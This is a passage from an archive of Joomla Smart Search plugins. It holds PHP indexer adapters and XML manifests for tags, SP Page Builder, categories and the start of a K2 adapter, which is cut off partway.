	<name>plg_finder_content</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_CONTENT_XML_DESCRIPTION</description>
	<files>
		<filename plugin="content">content.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_content.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_content.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                        finder/tags/tags.php                                                                                0000705                 00000022465 15242051520 0010423 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Tags
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Finder adapter for Joomla Tag.
 *
 * @since  3.1
 */
class PlgFinderTags extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $context = 'Tags';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $extension = 'com_tags';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $layout = 'tag';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $type_title = 'Tag';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $table = '#__tags';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  3.1
	 */
	protected $state_field = 'published';

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_tags.tag')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the items.
		return $this->remove($id);
	}

	/**
	 * Method to determine if the access level of an item changed.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content has just been created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle tags here.
		if ($context === 'com_tags.tag')
		{
			// Check if the access levels are different
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the item
			$this->reindex($row->id);
		}

		return true;
	}

	/**
	 * Method to reindex the link information for an item that has been saved.
	 * This event is fired before the data is actually saved so we are going
	 * to queue the item to be indexed later.
	 *
	 * @param   string   $context  The context of the content passed to the plugin.
	 * @param   JTable   $row      A JTable object
	 * @param   boolean  $isNew    If the content is just about to be created
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle news feeds here
		if ($context === 'com_tags.tag')
		{
			// Query the database for the old access level if the item isn't new
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the content passed to the plugin.
	 * @param   array    $pks      A list of primary key ids of the content that has changed state.
	 * @param   integer  $value    The value of the state that the content has been changed to.
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle tags here
		if ($context === 'com_tags.tag')
		{
			$this->itemStateChange($pks, $value);
		}

		// Handle when the plugin is disabled
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format
	 *
	 * @return  void
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		// Initialize the item parameters.
		$registry = new Registry($item->params);
		$item->params = clone JComponentHelper::getParams('com_tags', true);
		$item->params->merge($registry);

		$item->metadata = new Registry($item->metadata);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = TagsHelperRoute::getTagRoute($item->slug);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Handle the link to the metadata.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'link');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Tag');

		// Add the author taxonomy data.
		if (!empty($item->author) || !empty($item->created_by_alias))
		{
			$item->addTaxonomy('Author', !empty($item->created_by_alias) ? $item->created_by_alias : $item->author);
		}

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 */
	protected function setup()
	{
		// Load dependent classes.
		JLoader::register('TagsHelperRoute', JPATH_SITE . '/components/com_tags/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   3.1
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title, a.alias, a.description AS summary')
			->select('a.created_time AS start_date, a.created_user_id AS created_by')
			->select('a.metakey, a.metadesc, a.metadata, a.language, a.access')
			->select('a.modified_time AS modified, a.modified_user_id AS modified_by')
			->select('a.published AS state, a.access, a.created_time AS start_date, a.params');

		// Handle the alias CASE WHEN portion of the query
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias)
			->from('#__tags AS a');

		// Join the #__users table
		$query->select('u.name AS author')
			->join('LEFT', '#__users AS u ON u.id = a.created_user_id');

		// Exclude the ROOT item
		$query->where($db->quoteName('a.id') . ' > 1');

		return $query;
	}

	/**
	 * Method to get a SQL query to load the published and access states for the given tag.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   3.1
	 */
	protected function getStateQuery()
	{
		$query = $this->db->getQuery(true);
		$query->select($this->db->quoteName('a.id'))
			->select($this->db->quoteName('a.' . $this->state_field, 'state') . ', ' . $this->db->quoteName('a.access'))
			->select('NULL AS cat_state, NULL AS cat_access')
			->from($this->db->quoteName($this->table, 'a'));

		return $query;
	}

	/**
	 * Method to get the query clause for getting items to update by time.
	 *
	 * @param   string  $time  The modified timestamp.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   3.1
	 */
	protected function getUpdateQueryByTime($time)
	{
		// Build an SQL query based on the modified time.
		$query = $this->db->getQuery(true)
			->where('a.date >= ' . $this->db->quote($time));

		return $query;
	}
}
                                                                                                                                                                                                           finder/tags/tags.xml                                                                                0000705                 00000001430 15242051520 0010421 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="UTF-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_tags</name>
	<author>Joomla! Project</author>
	<creationDate>February 2013</creationDate>
	<copyright>(C) 2013 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_TAGS_XML_DESCRIPTION</description>
	<files>
		<filename plugin="tags">tags.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_tags.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_tags.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                                                        finder/tags/index.html                                                                              0000705                 00000000036 15242051520 0010737 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  finder/sppagebuilder/sppagebuilder.php                                                              0000705                 00000014424 15242051520 0014177 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     SP Page Builder Plugins
 * @subpackage  Finder.Sppagebuilder
 *
 * @copyright   Copyright (C) 2018 JoomShaper. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

class PlgFinderSppagebuilder extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 */
	protected $context = 'Sppagebuilder';

	/**
	 * The extension name.
	 */
	protected $extension = 'com_sppagebuilder';

	/**
	 * The sublayout to use when rendering the results.
	 */
	protected $layout = 'page';

	/**
	 * The type of content that the adapter indexes.
	 */
	protected $type_title = 'Page';

	/**
	 * The table name.
	 */
	protected $table = '#__sppagebuilder';

	/**
	 * The field the published state is stored in.
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to update the item link information when the item category is
	 * changed. This is fired when the item category is published or unpublished
	 * from the list view.
	 */
	public function onFinderCategoryChangeState($extension, $pks, $value)
	{
		// Make sure we're handling com_contact categories
		if ($extension === 'com_sppagebuilder')
		{
			$this->categoryStateChange($pks, $value);
		}
	}

	/**
	 * Method to remove the link information for items that have been deleted.
	 */
	public function onFinderAfterDelete($context, $table)
	{
		if ($context === 'com_sppagebuilder.page')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove the items.
		return $this->remove($id);
	}

	/**
	 * Method to determine if the access level of an item changed.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		if ($context === 'com_sppagebuilder.page')
		{
			if (!$isNew && $this->old_access != $row->access)
			{
				$this->itemAccessChange($row);
			}

			$this->reindex($row->id);
		}

		if ($context === 'com_categories.category')
		{
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Method to reindex the link information for an item that has been saved.
	 * This event is fired before the data is actually saved so we are going
	 * to queue the item to be indexed later.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		if ($context === 'com_sppagebuilder.page')
		{
			if (!$isNew)
			{
				$this->checkItemAccess($row);
			}
		}

		if ($context === 'com_categories.category')
		{
			if (!$isNew)
			{
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		if ($context === 'com_sppagebuilder.page')
		{
			$this->itemStateChange($pks, $value);
		}

		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		$item->setLanguage();
		$item->url = $this->getUrl($item->id, $this->extension, $this->layout);
		$item->route = self::getPageRoute($item->id, $item->catid, $item->language);
		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}
	
		// Handle the page author data.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'user');

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Page');

		// Add the category taxonomy data.
		$item->addTaxonomy('Category', $item->category, $item->cat_state, $item->cat_access);

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 */
	protected function setup()
	{
		FinderIndexerHelper::getContentPath('index.php?option=com_sppagebuilder');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of page items.
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title AS title, a.text AS body, a.created_on AS start_date')
			->select('a.created_by, a.modified, a.modified_by, a.language')
			->select('a.access, a.published AS state, a.ordering, a.catid')
			->select('c.title AS category, c.published AS cat_state, c.access AS cat_access');

		$case_when_category_alias = ' CASE WHEN ';
		$case_when_category_alias .= $query->charLength('c.alias', '!=', '0');
		$case_when_category_alias .= ' THEN ';
		$c_id = $query->castAsChar('c.id');
		$case_when_category_alias .= $query->concatenate(array($c_id, 'c.alias'), ':');
		$case_when_category_alias .= ' ELSE ';
		$case_when_category_alias .= $c_id . ' END as catslug';
		$query->select($case_when_category_alias)

			->select('u.name')
			->from('#__sppagebuilder AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.catid')
			->join('LEFT', '#__users AS u ON u.id = a.created_by');

		return $query;
	}

	/**
	 * Method to get the page URL.
	 */
	public static function getPageRoute($id, $catid = 0, $language = 0)
	{
		$link = 'index.php?option=com_sppagebuilder&view=page&id=' . $id;

		if ((int) $catid > 1)
		{
			$link .= '&catid=' . $catid;
		}

		if ($language && $language !== '*' && JLanguageMultilang::isEnabled())
		{
			$link .= '&lang=' . $language;
		}

		return $link;
	}
}
                                                                                                                                                                                                                                            finder/sppagebuilder/sppagebuilder.xml                                                              0000705                 00000001514 15242051520 0014204 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_sppagebuilder</name>
	<author>JoomShaper</author>
	<creationDate>March 2018</creationDate>
	<copyright>(C) 2018 JoomShaper. All rights reserved.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>1.0.0</version>
	<description>PLG_FINDER_SP_PAGEBUILDER_XML_DESCRIPTION</description>
	<files>
		<filename plugin="sppagebuilder">sppagebuilder.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.plg_finder_sppagebuilder.ini</language>
		<language tag="en-GB">language/en-GB.plg_finder_sppagebuilder.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                    finder/categories/categories.php                                                                    0000705                 00000025202 15242051520 0012771 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Finder.Categories
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

JLoader::register('FinderIndexerAdapter', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/indexer/adapter.php');

/**
 * Smart Search adapter for Joomla Categories.
 *
 * @since  2.5
 */
class PlgFinderCategories extends FinderIndexerAdapter
{
	/**
	 * The plugin identifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $context = 'Categories';

	/**
	 * The extension name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $extension = 'com_categories';

	/**
	 * The sublayout to use when rendering the results.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $layout = 'category';

	/**
	 * The type of content that the adapter indexes.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $type_title = 'Category';

	/**
	 * The table name.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $table = '#__categories';

	/**
	 * The field the published state is stored in.
	 *
	 * @var    string
	 * @since  2.5
	 */
	protected $state_field = 'published';

	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.1
	 */
	protected $autoloadLanguage = true;

	/**
	 * Method to remove the link information for items that have been deleted.
	 *
	 * @param   string  $context  The context of the action being performed.
	 * @param   JTable  $table    A JTable object containing the record to be deleted
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderDelete($context, $table)
	{
		if ($context === 'com_categories.category')
		{
			$id = $table->id;
		}
		elseif ($context === 'com_finder.index')
		{
			$id = $table->link_id;
		}
		else
		{
			return true;
		}

		// Remove item from the index.
		return $this->remove($id);
	}

	/**
	 * Smart Search after save content method.
	 * Reindexes the link information for a category that has been saved.
	 * It also makes adjustments if the access level of the category has changed.
	 *
	 * @param   string   $context  The context of the category passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the category has just been created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderAfterSave($context, $row, $isNew)
	{
		// We only want to handle categories here.
		if ($context === 'com_categories.category')
		{
			// Check if the access levels are different.
			if (!$isNew && $this->old_access != $row->access)
			{
				// Process the change.
				$this->itemAccessChange($row);
			}

			// Reindex the category item.
			$this->reindex($row->id);

			// Check if the parent access level is different.
			if (!$isNew && $this->old_cataccess != $row->access)
			{
				$this->categoryAccessChange($row);
			}
		}

		return true;
	}

	/**
	 * Smart Search before content save method.
	 * This event is fired before the data is actually saved.
	 *
	 * @param   string   $context  The context of the category passed to the plugin.
	 * @param   JTable   $row      A JTable object.
	 * @param   boolean  $isNew    True if the category is just about to be created.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function onFinderBeforeSave($context, $row, $isNew)
	{
		// We only want to handle categories here.
		if ($context === 'com_categories.category')
		{
			// Query the database for the old access level and the parent if the item isn't new.
			if (!$isNew)
			{
				$this->checkItemAccess($row);
				$this->checkCategoryAccess($row);
			}
		}

		return true;
	}

	/**
	 * Method to update the link information for items that have been changed
	 * from outside the edit screen. This is fired when the item is published,
	 * unpublished, archived, or unarchived from the list view.
	 *
	 * @param   string   $context  The context for the category passed to the plugin.
	 * @param   array    $pks      An array of primary key ids of the category that has changed state.
	 * @param   integer  $value    The value of the state that the category has been changed to.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onFinderChangeState($context, $pks, $value)
	{
		// We only want to handle categories here.
		if ($context === 'com_categories.category')
		{
			/*
			 * The category published state is tied to the parent category
			 * published state so we need to look up all published states
			 * before we change anything.
			 */
			foreach ($pks as $pk)
			{
				$query = clone $this->getStateQuery();
				$query->where('a.id = ' . (int) $pk);

				$this->db->setQuery($query);
				$item = $this->db->loadObject();

				// Translate the state.
				$state = null;

				if ($item->parent_id != 1)
				{
					$state = $item->cat_state;
				}

				$temp = $this->translateState($value, $state);

				// Update the item.
				$this->change($pk, 'state', $temp);

				// Reindex the item.
				$this->reindex($pk);
			}
		}

		// Handle when the plugin is disabled.
		if ($context === 'com_plugins.plugin' && $value === 0)
		{
			$this->pluginDisable($pks);
		}
	}

	/**
	 * Method to index an item. The item must be a FinderIndexerResult object.
	 *
	 * @param   FinderIndexerResult  $item    The item to index as a FinderIndexerResult object.
	 * @param   string               $format  The item format.  Not used.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function index(FinderIndexerResult $item, $format = 'html')
	{
		// Check if the extension is enabled.
		if (JComponentHelper::isEnabled($this->extension) === false)
		{
			return;
		}

		// Check if the extension that owns the category is also enabled.
		if (JComponentHelper::isEnabled($item->extension) === false)
		{
			return;
		}

		$item->setLanguage();

		$extension = ucfirst(substr($item->extension, 4));

		// Initialize the item parameters.
		$item->params = new Registry($item->params);

		$item->metadata = new Registry($item->metadata);

		/*
		 * Add the metadata processing instructions based on the category's
		 * configuration parameters.
		 */
		// Add the meta author.
		$item->metaauthor = $item->metadata->get('author');

		// Handle the link to the metadata.
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'link');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metakey');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metadesc');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'metaauthor');
		$item->addInstruction(FinderIndexer::META_CONTEXT, 'author');

		// Deactivated Methods
		// $item->addInstruction(FinderIndexer::META_CONTEXT, 'created_by_alias');

		// Trigger the onContentPrepare event.
		$item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params);

		// Build the necessary route and path information.
		$item->url = $this->getUrl($item->id, $item->extension, $this->layout);

		$class = $extension . 'HelperRoute';

		// Need to import component route helpers dynamically, hence the reason it's handled here.
		JLoader::register($class, JPATH_SITE . '/components/' . $item->extension . '/helpers/route.php');

		if (class_exists($class) && method_exists($class, 'getCategoryRoute'))
		{
			$item->route = $class::getCategoryRoute($item->id, $item->language);
		}
		else
		{
			$item->route = ContentHelperRoute::getCategoryRoute($item->id, $item->language);
		}

		$item->path = FinderIndexerHelper::getContentPath($item->route);

		// Get the menu title if it exists.
		$title = $this->getItemMenuTitle($item->url);

		// Adjust the title if necessary.
		if (!empty($title) && $this->params->get('use_menu_title', true))
		{
			$item->title = $title;
		}

		// Translate the state. Categories should only be published if the parent category is published.
		$item->state = $this->translateState($item->state);

		// Add the type taxonomy data.
		$item->addTaxonomy('Type', 'Category');

		// Add the language taxonomy data.
		$item->addTaxonomy('Language', $item->language);

		// Get content extras.
		FinderIndexerHelper::getContentExtras($item);

		// Index the item.
		$this->indexer->index($item);
	}

	/**
	 * Method to setup the indexer to be run.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 */
	protected function setup()
	{
		// Load com_content route helper as it is the fallback for routing in the indexer in this instance.
		JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

		return true;
	}

	/**
	 * Method to get the SQL query used to retrieve the list of content items.
	 *
	 * @param   mixed  $query  A JDatabaseQuery object or null.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getListQuery($query = null)
	{
		$db = JFactory::getDbo();

		// Check if we can use the supplied SQL query.
		$query = $query instanceof JDatabaseQuery ? $query : $db->getQuery(true)
			->select('a.id, a.title, a.alias, a.description AS summary, a.extension')
			->select('a.created_user_id AS created_by, a.modified_time AS modified, a.modified_user_id AS modified_by')
			->select('a.metakey, a.metadesc, a.metadata, a.language, a.lft, a.parent_id, a.level')
			->select('a.created_time AS start_date, a.published AS state, a.access, a.params');

		// Handle the alias CASE WHEN portion of the query.
		$case_when_item_alias = ' CASE WHEN ';
		$case_when_item_alias .= $query->charLength('a.alias', '!=', '0');
		$case_when_item_alias .= ' THEN ';
		$a_id = $query->castAsChar('a.id');
		$case_when_item_alias .= $query->concatenate(array($a_id, 'a.alias'), ':');
		$case_when_item_alias .= ' ELSE ';
		$case_when_item_alias .= $a_id . ' END as slug';
		$query->select($case_when_item_alias)
			->from('#__categories AS a')
			->where($db->quoteName('a.id') . ' > 1');

		return $query;
	}

	/**
	 * Method to get a SQL query to load the published and access states for
	 * a category and its parents.
	 *
	 * @return  JDatabaseQuery  A database object.
	 *
	 * @since   2.5
	 */
	protected function getStateQuery()
	{
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName('a.id'))
			->select($this->db->quoteName('a.parent_id'))
			->select('a.' . $this->state_field . ' AS state, c.published AS cat_state')
			->select('a.access, c.access AS cat_access')
			->from($this->db->quoteName('#__categories') . ' AS a')
			->join('LEFT', '#__categories AS c ON c.id = a.parent_id');

		return $query;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                              finder/categories/categories.xml                                                                    0000705                 00000001472 15242051520 0013005 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="finder" method="upgrade">
	<name>plg_finder_categories</name>
	<author>Joomla! Project</author>
	<creationDate>August 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_FINDER_CATEGORIES_XML_DESCRIPTION</description>
	<files>
		<filename plugin="categories">categories.php</filename>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_categories.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_finder_categories.sys.ini</language>
	</languages>
</extension>
                                                                                                                                                                                                      finder/categories/index.html                                                                        0000705                 00000000036 15242051520 0012126 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  finder/k2/k2.php                                                                                    0000705                 00000023260 15242051520 0007351 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    2.11 (rolling release)
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2009 - 2024 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL: https://gnu.org/licenses/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.helper');

// Load the base adapter.
require_once JPATH_ADMINISTRATOR.'/components/com_finder/helpers/indexer/adapter.php';

class plgFinderK2 extends FinderIndexerAdapter
{
    protected $context = 'K2';
    protected $extension = 'com_k2';
    protected $layout = 'item';
    protected $type_title = 'K2 Item';
    protected $table = '#__k2_items';
    protected $state_field = 'published';

    public function __construct(&$subject, $config)
    {
        parent::__construct($subject, $config);
        if (PHP_SAPI === 'cli') {
            JPluginHelper::importPlugin('system', 'k2');
            JEventDispatcher::getInstance()->trigger('onAfterInitialise');
        }
        $this->loadLanguage();
    }

    public function onFinderAfterDelete($context, $table)
    {
        if ($context == 'com_k2.item') {
            $id = $table->id;
        } elseif ($context == 'com_finder.index') {
            $id = $table->link_id;
        } else {
            return true;
        }
        // Remove the items.
        return $this->remove($id);
    }

    public function onFinderAfterSave($context, $row, $isNew)
    {
        // We only want to handle items here
        if ($context == 'com_k2.item') {
            // Check if the access levels are different
            if (!$isNew && $this->old_access != $row->access) {
                // Process the change.
                $this->itemAccessChange($row);
            }

            // Reindex the item
            $this->reindex($row->id);
        }

        // Check for access changes in the category
        if ($context == 'com_k2.category') {
            // Update the state
            $this->categoryStateChange(array($row->id), $row->published);

            // Check if the access levels are different
            if (!$isNew && $this->old_cataccess != $row->access) {
                $this->categoryAccessChange($row);
            }
        }

        return true;
    }

    public function onFinderBeforeSave($context, $row, $isNew)
    {
        // We only want to handle items here
        if ($context == 'com_k2.item') {
            // Query the database for the old access level if the item isn't new
            if (!$isNew) {
                $this->checkItemAccess($row);
            }
        }

        // Check for access levels from the category
        if ($context == 'com_k2.category') {
            // Query the database for the old access level if the item isn't new
            if (!$isNew) {
                $this->checkCategoryAccess($row);
            }
        }

        return true;
    }

    public function onFinderChangeState($context, $pks, $value)
    {
        // Items
        if ($context == 'com_k2.item') {
            $this->itemStateChange($pks, $value);
        }
        // Categories
        if ($context == 'com_k2.category') {
            $this->categoryStateChange($pks, $value);
        }
    }

    protected function index(FinderIndexerResult $item, $format = 'html')
    {
        // Check if the extension is enabled
        if (JComponentHelper::isEnabled($this->extension) == false) {
            return;
        }

        // Initialize the item parameters.
        $registry = new JRegistry;
        $registry->loadString($item->params);
        $item->params = JComponentHelper::getParams('com_k2', true);
        $item->params->merge($registry);

        $registry = new JRegistry;
        $registry->loadString($item->metadata);
        $item->metadata = $registry;

        // Trigger the onContentPrepare event.
        $item->summary = FinderIndexerHelper::prepareContent($item->summary, $item->params);
        $item->body = FinderIndexerHelper::prepareContent($item->body, $item->params);

        // Build the necessary route and path information.
